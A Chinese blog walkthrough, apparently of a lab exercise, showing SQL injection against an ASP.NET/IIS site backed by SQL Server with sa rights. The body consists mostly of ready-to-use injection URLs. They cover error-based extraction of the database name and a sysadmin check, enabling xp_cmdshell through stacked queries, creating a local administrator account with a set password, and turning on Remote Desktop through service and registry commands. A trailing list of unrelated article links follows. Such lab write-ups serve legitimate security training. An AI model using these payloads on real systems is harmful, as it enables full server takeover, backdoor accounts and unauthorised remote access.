当前位置: 首页 > news >正文

mssqsl靶机的sa权限sql注入-cnblog

靶机系统 windows server 2025
数据库 Microsoft sql server 2022
服务器 Internet Information Services (IIS) 10

最关键的一点 在sql注入中 我们将用xp_cmdshell创建一个用户 这就要求sqlserver服务用管理员账户登录

d1

靶机页面

这个页面很明显没有参数在url 我们找一个有id参数的url 方便注入

SQL Server 中,"登录名" 和 "数据库用户" 是两个不同的概念,对应不同的层级:实例级:登录名(Login)
登录名是用于连接到 SQL Server 实例的身份标识,存在于实例的master数据库中(系统视图sys.server_principals可查看)。
作用:验证用户是否有权限连接到 SQL Server 实例(类似 "大门钥匙")。
类型包括:SQL Server 身份验证登录名(如sa)、Windows 身份验证登录名(如DOMAIN\user1)、Windows 组登录名(如BUILTIN\Administrators)等。
数据库级:数据库用户(User)
数据库用户是登录名在具体数据库中的映射,存在于每个数据库的sys.database_principals系统视图中。
作用:控制登录名在该数据库中的操作权限(类似 "房间钥匙")。
一个登录名可以在多个数据库中映射为不同的用户(也可同名),但必须显式创建(除非是sysadmin角色成员,会自动映射为dbo用户)。sa 登录名
sa是 SQL Server 身份验证的默认系统管理员,属于sysadmin服务器角色,拥有实例的全部权限(无法删除,但可禁用)。
sysadmin 服务器角色成员
sysadmin是实例级最高权限角色,任何属于该角色的登录名,都是实例级管理员。
除了sa,还可以将其他登录名(如 Windows 管理员组、自定义登录名)添加到sysadmin角色,使其拥有与sa等同的权限。
例如:默认情况下,Windows 的本地管理员组(BUILTIN\Administrators)会被添加到sysadmin角色(可手动移除)。
其他高权限服务器角色
虽然不是 "完全管理员",但部分服务器角色拥有接近管理员的权限,例如:
serveradmin:管理服务器配置(如内存、进程);
securityadmin:管理登录名和权限(可间接提升权限);
dbcreator:创建和修改数据库。
第一步 按照渗透思路 得先收集针对sql注入的相关信息 数据库类型 操作系统  中间件
我们仔细观察url中的xxser参数为数字 那么 可以试一下 加个符号 输入的数据类型不符合的话 会报错 根据报错信息再来判断一些信息http://192.168.152.129:85/1.aspx?xxser=1'  

这里看到 就是微软的iis搭建的网站 asp写的 
System.Data.SqlClient.SqlException
用报错信息网络搜索 判断出数据库是 sql server
对数据类型要求严格 不允许不同数据类型比较 利用这个进行报错注入进一步拿到更多信息
还可以用谷歌浏览器的插件  更清晰的查看

第二步 可以利用数据类型这一点报错 看下当前数据库名
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name())# 
原理是让数字类型和字符有个等号 肯定报错TesTDB 拿到数据库名

第三步 看下sql server 的账户权限 没报错 即是拥有sa权限
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))#IS_SRVROLEMEMBER('sysadmin') 是 SQL Server 的一个系统函数,用于检查当前登录账户是否为指定服务器角色(这里是 sysadmin)的成员。
若当前账户是 sysadmin 角色成员,函数返回 1;
若不是,返回 0;
若参数无效或存在其他错误,返回 NULL。
整个表达式 1=(select ...) 的结果为 布尔值:
当当前账户是 sysadmin 时,表达式结果为 TRUE(1=1);
否则为 FALSE(1=0 或 1=NULL)

第四步 开启xp_cmdshell
xp_cmdshell 是 SQL Server 中的一个扩展存储过程,它允许系统管理员通过操作系统命令行解释器执行给定的命令字符串,并以文本行方式返回任何输出。这使得它成为一个功能非常强大的工具,尤其在需要执行系统命令时。http://192.168.152.129:85/1.aspx?xxser=1
select * from admin where id=1 and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')   
注入查看xp_cmdshell是否开启 没报错就开启http://192.168.152.129:85/1.aspx?xxser=1
select * from admin where id=1 EXEC sp_configure 'show advanced options', 1;RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--        
开启xp_cmdshell功能http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell "ipconfig" --这里语句不报错 其实说明拥有权限执行
但没有效果 只能自己去靶机sql server执行下看效果

第五步 创建一个用户 权限要高点 加入用户组http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'net user ttt Zj@123. /add';exec master..xp_cmdshell 'net localgroup administrators ttt /add'#      添加用户test,密码 添加test用户到管理员组  到靶机查看下 有ttt用户

第六步  开启远程功能 用新创建用户登录下http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'sc config termservice start = auto' 通过sc命令(服务控制)将远程桌面服务(termservice)的启动类型设置为 “自动”,即系统启动时自动运行该服务。http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'net start termservice'
立即启动远程桌面服务,使服务处于运行状态。http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'                     
修改注册表中fDenyTSConnections键值(位于远程桌面服务相关配置路径),将其值设为0(0X0),表示允许远程桌面连接(默认1为禁止),/F参数强制覆盖现有值 允许外部连接

http://www.jsqmd.com/news/21445/

相关文章:

  • 国产9GHz宽带巴伦HT-BAL-0009SMG实测反馈——pin-to-pin替代海外料,EVM直接降4个点
  • Python---合成视频不能正常播放的原因
  • ARM GNU 汇编中 .section 的起始终止 - ENGINEER
  • Java使用Selenium自动化测试网盘链接是否失效
  • AI元人文:意识间的通讯
  • 谁在领跑AI客服赛道?2025年中国客服系统排行榜深度分析
  • APUE学习笔记之文件与目录(四) - Invinc
  • 完整教程:Django 中的元类(Metaclass)应用及生产场景示例
  • 国标GB28181算法算力平台EasyGBS智慧果园一体化监控解决方案
  • 2025年新疆旅游攻略公司权威推荐榜单:旅游线路/新疆旅游/新疆禾木旅游源头公司精选
  • 深入解析:WPS文字如何合并多个文档:两种方法
  • 线程退出未定义行为
  • 2025年纤维布袋风管厂家权威推荐榜单:保温布袋风管/修理厂布袋风管/防火布袋风管源头厂家精选
  • npm run build 报错 No module factory available for dependency type:CssDependency - ZQ
  • VictoriaLogs 运营数据分享
  • 2025 年离心风机源头厂家最新推荐榜:基于中国通用机械工业协会测评权威数据,精选优质品牌解决采购难题塑料/PP/通用/钛材离心风机公司推荐
  • 安宝特案例丨从 “围台观摩” 到 “远程高清学”:安宝特AR远程医疗套装支撑南京医院手术带教 - 实践
  • Python 轻松在 PDF 中插入页眉页脚 - E
  • 【ArcMap】把xls表格导入ArcMap属性表Table中
  • Python---批量给视频添加片头片尾
  • 上海AI优化:AI优化公司技术革新与行业标杆解析
  • 2025 年隔离变压器厂家最新推荐榜:结合中国电力设备行业协会测评权威数据,精选实力企业深度解析船用/三相伺/医疗专用隔离变压器公司推荐
  • ContextCapture无人机影像与激光点云融合建模感受
  • 一行命令让你修改博客上的粉丝数
  • 数据库分类详解
  • 2025年护栏厂家权威推荐榜单:不锈钢栏杆/桥梁防撞护栏/河道景观护栏,专业设计与安全防护全解析
  • 2025年发电机厂家推荐排行榜,发电机组出租,柴油发电机出租,甲醇发电机组租赁,移动式发电机出租,发电机组维修保养,专业可靠之选
  • 执行计划解释
  • MATLAB中的Excel文件操作:从入门到精通 - 指南
  • 2025 年保护罩生产厂家最新推荐榜:技术与服务双重测评,精选优质品牌权威指南PVC 法兰保护罩/不锈钢法兰保护罩/设备保护罩公司推荐